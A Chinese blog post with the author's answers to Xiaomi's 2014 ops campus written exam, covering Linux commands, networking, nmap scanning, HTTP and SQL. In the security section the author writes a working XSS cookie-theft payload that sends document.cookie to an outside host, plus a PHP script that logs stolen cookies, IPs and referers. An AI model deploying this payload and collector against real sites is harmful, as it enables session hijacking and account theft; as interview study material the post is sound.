小米运维部14年校招笔试题A的个人答案
具体题目详见 http://www.tuicool.com/articles/eYRZBr http://noops.me/?p=1154一、linux基础1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?【答】方法一:
15年准备实习生面试时答的题,仅供参考
具体题目详见 http://www.tuicool.com/articles/eYRZBr
一、linux基础
1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?
【答】
方法一:
1 | netstat -nlg | grep 1950 |
2 | [root@localhost pierre] # netstat -nlp | grep 1950 |
3 | tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1950/sshd |
4 | tcp 0 0 :::22 :::* LISTEN 1950/sshd |
方法二:
1 | ss -pl | grep 1950 |
2 | [root@localhost pierre] # ss -pl | grep 1950 |
3 | 0 128 ::: ssh :::* users :(( "sshd" ,1950,4)) |
4 | 0 128 *: ssh *:* users :(( "sshd" ,1950,3)) |
方法三:
1 | lsof -Pnl +M -i4| grep 1950 |
2 | [root@localhost pierre] # lsof -Pnl +M -i4|grep 1950 |
3 | sshd 1950 0 3u IPv4 12599 0t0 TCP *:22 (LISTEN) |
三种命令都可以实现,个人三种都会用,比较偏爱的是ss,当然有时候会忘记,这次正好总结一下
缺点:出来的结果,不一定是目的结果,grep的不一定是pid
2)如何查找在/home/work/log/路径下,修改时间在3天以前的文件,并将这些文件mv到/home/work/log/backup下?
1 | 【答】 |
1 | find /home/work/log -mtime +3 - exec mv {} /home/work/log/backup/{} \; |
ps.补充几点
linux下find支持-mmin参数,以分为单位
find /home -mmin +30 查30分钟前改动过的文件
find -mmin -10 ! -name "." 不包括 "." -mmin参数
find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{} \;
find: missing argument to `-exec' 注意: “\;” 部分 不能有空格
1 | [pierre@localhost ~]$ stat . |
File: `.'
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: fd00h/64768d Inode: 262159 Links: 27
Access: (0700/drwx------) Uid: ( 500/ pierre) Gid: ( 500/ pierre)
Access: 2015-08-24 19:05:16.109807264 +0800
Modify: 2015-08-24 19:05:14.028652856 +0800
Change: 2015-08-24 19:05:14.028652856 +0800
atime mtime ctime的区别可以从stat的数据中发现一二,详细看我很久以前一篇水文:点我
3)操作系统中,父进程需要传输一份1KB的数据给子进程,有几种方法可以实现?并请给出一种方法的代码实现(语言不限)?
【答】
管道?内存共享?socket? 这题目先留着,等有时间再好好答
4)需要抓取eth1网卡上从127.10.32.5发到本机8080端口的数据包,请列举你能想到的工具或者方法?并给出一个具体的方法的实现(详细命令或者代码)?
【答】
常用抓包工具就是tcpdump和wireshark。一般linux发行版会自带tcpdump(部分阉割版没有,像大疆无人机的)。而我们在本地电脑分析时可能偏爱wireshark。
本文假设是在服务器端抓包:
方法一:
1 | tcpdump -i eth1 src host 127.10.32.5 and dst port 8080 |
在实战中,由于我对tcpdump不算特别熟,偏爱把包统统抓下,再移到本地用wireshark的显示过滤进行包的分析。ps.命令行界面分析数据包略蛋疼额
方法二:
1 | tcpdump -w test .cap |
抓下所有包
利用
1 | python -m SimpleHTTPServer |
开启一个简易server,将包传到本地电脑
在wireshark的filter里填写
1 | ip.src==127.10.32.5 && tcp.dstport==8080 |
// 这里端口是要指明tcp还是udp的, 端口是一种抽象的软件结构。8080端口可以同时为udp和tcp
wireshark的详细用法看我的这篇博客:点我
二、系统/网络
给一台服务器安装linux操作系统,请回答在安装和使用过程中遇到的一些问题:
1)服务器有6块600G的SAS磁盘,通过阵列卡做RAID5,请问实际操作系统可使用的空间是多大?
【答】
raid就是所谓的独立磁盘列阵,通过廉价的磁盘,实现数据的高可用。
常见的raid方法有:raid 0 ;raid 1 ;raid 0+1 ;raid 10等
RAID 0是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提高整个磁盘的性能和吞吐量。RAID 0没有提供冗余或错误修复能力,但实现成本是最低的。
RAID 1称为磁盘镜像,原理是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,在不影响性能情况下最大限度的保证系统的可靠性和可修复性上.
……
RAID 5 算是一种在RAID0和RAID1之间折中的做法(废话,其他raid也基本是的)。没有独立的奇偶校验盘,所有校验信息分散放在所有磁盘上,只是在存储空间上为N-1。所以可用是5*600=3000G
2)网络管理员告诉我们这台服务器使用10.0.0.128/26段中的第一个地址,网关是这段地址中的最后一个地址。请列出机器的IP地址、子网掩码和网关。
【答】
这个就比较简单,只要学过计算机网络的基本都会了解。
10.0.0.128/26 最后一个化成二进制:10.0.0.1000 0000 网络号就是这个,主机号就是后面六位数字,子网掩码是:255.255.255.192
可用ip一般会去掉第一个网络号ip和最后一个广播ip。所以第一个可用的ip地址是10.0.0.129,如题假设的网关就是10.0.0.191(网关并不一定就是最后一个ip)
3)服务器交付业务方使用后,使用netstat命令发现有大量的time_wait连接,请简述time_wait连接存在的原因。
【答】
这个可以看我这篇博文:点我 (还没完全写完【掩面)想以最简单的话,阐述出来,所以写写删山,一直没完。 此外这个人的这个文章还是可以的:点我 非常详细,推荐
什么时候会出现time_wait?
通信双方建立TCP连接后,主动关闭连接的一方就会进入TIME_WAIT状态。
time_wait存在的原因?
1)可靠地实现TCP全双工连接的终止
2)允许老的重复分节在网络中消逝
补充:
1.一般线上出现大量time_wait的重要背景是业务使用了nginx代理。由于nginx使用短链接的方式和后端大量交互,使得nginx和后端的ESTABLISHED变得很少而TIME_WAIT很多。这里就涉及到nginx的一些知识,我后续应该会把我学习nginx的笔记放出来。大家记得关注 http://ww.bearzone.cc
2.time_wait的持续时间一般是2msl(maximum segment lifetime),rfc推荐msl=2分钟,linux貌似是1 msl=30 s,win是2min.此处没有特别深刻的理解
3.
1 | netstat -n | awk '/^tcp/{++S[$NF]} END {for(a in S) print a,S[a]}' |
4)简述TCP建立连接的过程;运维中经常nmap进行端口扫描,描述nmap进行TCP扫描的原理。
【答】
先扯两句:作为一个信息安全的学生,对安全还是小有研究,当然比较熟悉nmap的一些使用。以前貌似写过一篇博文关于nmap的,后来不知不觉就丢了,可惜!挂一篇lijiejie学长的博文吧,方便以后查看 http://www.lijiejie.com/nmap-fast-scan-large-networks/
nmap全程:Network Mapper。一个网络连接端扫描软件,用来扫端口啊,扫存活啊,扫指纹啊。由于扫描方案比较多,提供icmp、tcp和udp等多种协议,多种方案的,并且可以以一种比较猥琐的姿态实现扫描,所以还是很受欢迎的。
既然题目问的是TCP扫描,那我们就专谈TCP,以后也许会放上我对nmap的总结。
tcp syn scanning是nmap的默认扫描方式,通常被称作半开放扫描。简单而言,就是扫描时发送syn包到目的端口,如果收到syn/ack回复,那么就可以判断端口是开放的,如果收到的是rst包,那么端口就是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)简单而言,就是个三次握手建立一半的过程。
1 | nmap -sS *** |
tcp connect scanning则是使用API connect向目的主机端口发起完整的连接。完整的三次握手,速度必然比较慢的,一般上面这种方法不行才会使用。
nmap -sT
tcp ack scanning则是向目的主机的端口发送ack包,如果收到rst包,则说明端口没有被防火墙屏蔽;没有收到rst包,说明被屏蔽。一般用于辅助tcp syn扫描
其他还有三种TCP FIN/Xmas/NULL scanning 一般做安全的估计也没人用,ops当然也用的比较少。
5)Zmap是一个号称44分钟可以扫遍全球公网机器端口。结合TCP三次握手原理和系统编程知识,简述类似产品的设计思想,并尝试描述你的实现。
【答】
zmap以前有所耳闻,却总是和nmap的gui版zenmap搞混【掩面。上次和阿宝sin牛讨论这个时,才有所了解
参考:http://netsecurity.51cto.com/art/201308/407831.htm
如果想快速扫描全网,如果采用三次握手那种,是不可能的(无论那种做法,就算并发量达到极致,也达不到把)。而zmap采用一个非常猥琐的方法,采用无状态的方法,即向服务器发送请求时,不保持任何握手信息,而将收到的信息进行一些类似正则编码之类的处理,不对信息进行辨别。
这样避开三次握手的带来的开销,不过个人理解对返回数据的安全性和完整性带来一定挑战。
三、开发/安全
1)http keep-alive的作用是什么,有什么优缺点?
【答】
参考:http://www.cnblogs.com/huangfox/archive/2012/03/31/2426341.html
个人觉得比较好理解吧,避免一些连接的建立和重新建立。
建立连接,会伴随socket的建立等消耗系统资源的情况。
保持当前连接,同样会消耗系统资源。
所以参数的设置,应该要有一个不错的平衡。
2)简述cookie的作用,以及http cookie和session的区别和联系
【答】
老生常谈的问题,我将新建一篇文章,把我的各种总结放上来,具体请关注:www.bearzone.cc。我相信会说的非常明白!
再次我就以最简单的话来表达:
cookie的作用就是弥补http无状态的缺陷。
cookie是客户端保持对的方案,session是服务器端保持的方案
session可以通过cookie机制协助完成,也可以通过url重写或表单隐藏字段完成。
3)对于cookie劫持攻击,给出至少两种防御方案
【答】
1.httponly
目前主流的一种简易方法,设置后可以让js无法调用cookie,对于防范xss确实有一定作用,不过对方使用xss proxy之后也没什么太大的作用
2.仅通过SSL来发送cookie。如果你要求浏览器在传输之前加密cookie,在传输中就不易遭受攻击
暂时先这两个,其实都存在较大缺陷,我在想想,有没有为只的
4)xss攻击中,给出一个窃取用户浏览器cookie的xss-payload
【答】
作为一个半安全的dog,
页面构造一个这个
1 | <script>window.open( 'http://www.bear2.cn/test.php?c=' +document.cookie)</script> |
www.bear2.cn/test.php (这个脚本是实际不存在的)
01 | <?php |
02 | $cookie = $_GET [ 'c' ]; |
03 | $ip = getenv ( 'REMOTE_ADDR' ); |
04 | $time = date ( "j F, Y, g:i a" ); |
05 | $referer = getenv ( 'HTTP_REFERER' ); |
06 | $fp = fopen ( 'cookie.txt' , 'a' ); |
07 | fwrite( $fp , 'Cookie: ' . $cookie .' |
08 | IP: ' .$ip. ' |
09 | Date and Time: ' .$time. ' |
10 | Referer: '.$referer.' |
11 |
12 |
13 | '); |
14 | fclose( $fp ); |
15 | ?> |
就这样一个简单的demo
5)xss问题产生的本质是什么,并阐述防御方案
【答】
这个问题在《白帽子讲web安全》这本书里有过描述,个人如果扯起来、、、估计又要扯半天,因为xss又分很多种,所以、、、、
简单而言,就是1.用户的能够控制了脚本的输入 2.用户恶意拼接了脚本的输入。 (定义收到道哥对sql注入的影响,大概就是这个意思。)
防范的话,可以采用一些方法:对用户的输入实现过滤,像php里的htmlspecialchars() 这个函数来实现。
由于自己对xss理解也不是很深刻,只能简单到此,不继续扯了~
6)编码实现一个简单的http server,至少支持GET请求解析和响应,编程语言不限
【答】
额,独立完成,纸上手写、、、如果真枪实弹,鸭梨三大!!!
思路一:投机取巧型
1 | python -m SimpleHTTPServer |
直接调用python的模块
思路二:利用第三方的模块,半编码实现
01 | package main |
02 |
03 | import ( |
04 | "fmt" |
05 | "log" |
06 | "net/http" |
07 | ) |
08 |
09 | func sayHello(w http.ResponseWriter, r *http.Request) { |
10 | fmt .Fprintf(w, "hello world!" ) |
11 | } |
12 | func main() { |
13 | http.HandleFunc( "/" , sayHello) |
14 | err := http.ListenAndServe( ":8880" , nil) |
15 | if err != nil { |
16 | log.Fatal( "ListenAndServe: " , err.Error()) |
17 | } |
18 | } |
这是当时学go语言时,看七牛云存储ceo书模仿的一段,功能比较弱。
思路三:完全使用c/c++,不用第三方模块
难度比较大,暂时没这能力
补充:出题者貌似对思路一并不排斥~
四、数据库
某消费系统中包含2张表,用户信息表和消费流水表,结构和数据如下:
表这出现bug
1)请按要求写出上面两张表的建表sql语句;
【答】
额,由于好久没碰数据库了,只有为数不多的几次小项目用到相关sql,自己还是采用phpmyadmin、navicat for MySQL这些工具,再加上实习期间没怎么接触dba的工作,所以写sql语句生疏很多,几个关键句子都默默看了相关的书【掩面!
1 | use test_database; #自己定义的库名 |
2 | create table user ( |
3 | ID int primary key AUTO_INCREMENT, |
4 | NAME varchar (10) not null , |
5 | Balance varchar (10) not null |
6 | ); |
7 | insert into user ( NAME ,Balance) values ( "A" , "19.50" ); |
其他类似,不一一列了
2)请分别写出下面两组sql语句的输出结果;
Delete from user;
Insert into user value (‘’, ‘D’, 300);
【答】
清空user表,表还在
插入新的数据,自增主键任然自增,ID为5
Truncate user;
Insert into user value (‘’, ‘D’, 300);
【答】
清空user表
插入新数据,自增主键不自增,ID为1
主要应该就是考察delete和truncate的区别吧,二者都可以清空表的内容,不过,truncate同时会清空表的自增计时器。
3)请写出能产生下面查询结果的SQL语句:
4)系统运行一段时间后,流水表的记录变得非常大,通过用户名(NAME)查询用户消费记录(FEE)时响应速度非常慢,请简述你的优化方案。
【答】
对mysql的理解不是很多,
第一映像是增加索引,还有分区表什么的。唉,由于缺乏大量数据的经验,之前也没做过类似的,所以不是很了解。
【题目评价】
1.题目是小米运维部14年校招笔试题A的题目。
2.题目稍微偏实战一点,稍不注意可能以为是简单的社招题,在大公司实习的话帮助比较大。
3.题目整体上不算特别难,从我没完全结束的答题可以看出,我的博客或印象笔记几乎都有涉及。不过现场在白纸上做的话,很多细节都记不清,这个也很麻烦!很多东西其实真没必要去强背。
欢迎到我的博客:www.bear2.cn 进行讨论
更多推荐
所有评论(0)